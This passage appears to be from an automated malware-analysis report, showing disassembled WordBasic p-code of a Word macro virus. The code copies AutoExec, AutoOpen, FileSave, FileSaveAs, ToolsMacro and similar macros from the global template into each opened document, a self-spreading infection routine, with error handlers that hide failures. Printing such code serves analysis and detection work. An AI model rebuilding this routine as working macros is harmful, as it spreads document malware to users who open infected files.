' 	ArgsMemCall Organizer 0x0004 
' Line #26:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #27:
' 	Ld WordBasic 
' 	ArgsMemCall FileSave 0x0000 
' Line #28:
' 	EndIfBlock 
' Line #29:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	St NFile$ 
' Line #30:
' 	Ld NFile$ 
' 	LitStr 0x0009 ":AutoExec"
' 	Add 
' 	St NMakro$ 
' Line #31:
' 	LitStr 0x000F "Global:AutoExec"
' 	Ld NMakro$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #32:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError Akhir 
' Line #33:
' 	Ld NFile$ 
' 	LitStr 0x0009 ":AutoOpen"
' 	Add 
' 	St NMakro$ 
' Line #34:
' 	LitStr 0x000F "Global:AutoOpen"
' 	Ld NMakro$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #35:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError Akhir 
' Line #36:
' 	Ld NFile$ 
' 	LitStr 0x0009 ":FileOpen"
' 	Add 
' 	St NMakro$ 
' Line #37:
' 	LitStr 0x000F "Global:FileOpen"
' 	Ld NMakro$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #38:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError Akhir 
' Line #39:
' 	Ld NFile$ 
' 	LitStr 0x0009 ":FileSave"
' 	Add 
' 	St NMakro$ 
' Line #40:
' 	LitStr 0x000F "Global:FileSave"
' 	Ld NMakro$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #41:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError Akhir 
' Line #42:
' 	Ld NFile$ 
' 	LitStr 0x000B ":FileSaveAs"
' 	Add 
' 	St NMakro$ 
' Line #43:
' 	LitStr 0x0011 "Global:FileSaveAs"
' 	Ld NMakro$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #44:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError Akhir 
' Line #45:
' 	Ld NFile$ 
' 	LitStr 0x000E ":FileTemplates"
' 	Add 
' 	St NMakro$ 
' Line #46:
' 	LitStr 0x0014 "Global:FileTemplates"
' 	Ld NMakro$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #47:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError Akhir 
' Line #48:
' 	Ld NFile$ 
' 	LitStr 0x000A ":FileMacro"
' 	Add 
' 	St NMakro$ 
' Line #49:
' 	LitStr 0x0010 "Global:FileMacro"
' 	Ld NMakro$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #50:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError Akhir 
' Line #51:
' 	Ld NFile$ 
' 	LitStr 0x000B ":ToolsMacro"
' 	Add 
' 	St NMakro$ 
' Line #52:
' 	LitStr 0x0011 "Global:ToolsMacro"
' 	Ld NMakro$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #53:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError Akhir 
' Line #54:
' 	Ld NFile$ 
' 	LitStr 0x000F ":ToolsCustomize"
' 	Add 
' 	St NMakro$ 
' Line #55:
' 	LitStr 0x0015 "Global:ToolsCustomize"
' 	Ld NMakro$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #56:
' 	Label Akhir 
…

Open this report in the interactive analyzer, or submit your own file for analysis.